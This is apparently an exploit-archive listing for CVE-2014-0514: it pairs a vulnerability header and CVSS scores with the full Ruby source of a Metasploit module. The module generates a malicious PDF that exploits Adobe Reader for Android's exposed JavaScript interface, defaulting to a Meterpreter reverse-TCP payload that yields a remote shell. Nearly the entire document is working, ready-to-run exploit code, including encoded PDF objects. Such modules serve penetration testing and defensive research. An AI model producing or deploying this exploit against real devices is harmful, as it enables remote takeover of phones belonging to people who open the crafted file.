Adobe Reader for Android addJavascriptInterface Exploit

2014.06.17
Credit: joev
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/fileformat' require 'msf/core/exploit/pdf' require 'msf/core/exploit/android' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::PDF include Msf::Exploit::Android def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit', 'Description' => %q{ Adobe Reader versions less than 11.2.0 exposes insecure native interfaces to untrusted javascript in a PDF. This module embeds the browser exploit from android/webview_addjavascriptinterface into a PDF to get a command shell on vulnerable versions of Reader. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', # discoverer 'joev' # msf module ], 'References' => [ [ 'CVE', '2014-0514' ], [ 'EDB', '32884' ], [ 'OSVDB', '105781' ], ], 'Platform' => 'android', 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Android ARM', { 'Platform' => 'android', 'Arch' => ARCH_ARMLE } ], [ 'Android MIPSLE', { 'Platform' => 'android', 'Arch' => ARCH_MIPSLE } ], [ 'Android X86', { 'Platform' => 'android', 'Arch' => ARCH_X86 } ] ], 'DisclosureDate' => 'Apr 13 2014', 'DefaultTarget' => 0 )) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit print_status("Generating Javascript exploit...") js = add_javascript_interface_exploit_js(ARCH_ARMLE) print_status("Creating PDF...") file_create(pdf(js)) end def trailer(root_obj) id = @xref.keys.max+1 "trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol end def add_compressed(n, data) add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data))) end def pdf(js) self.eol = "\x0d" @xref = {} @pdf = header('1.6') add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9") add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw") add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r") add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo") add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a") add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==") add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6") add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=") add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR") add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD") add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=") add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=") add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==") add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==") add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA") add_compressed(54, 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add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=") add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==") add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=") js = Zlib::Deflate.deflate(js) add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d") add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==") add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==") add_compressed(17, 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"eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ") add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=") @xref_offset = @pdf.length @pdf << xref_table << trailer(25) << startxref @pdf end end


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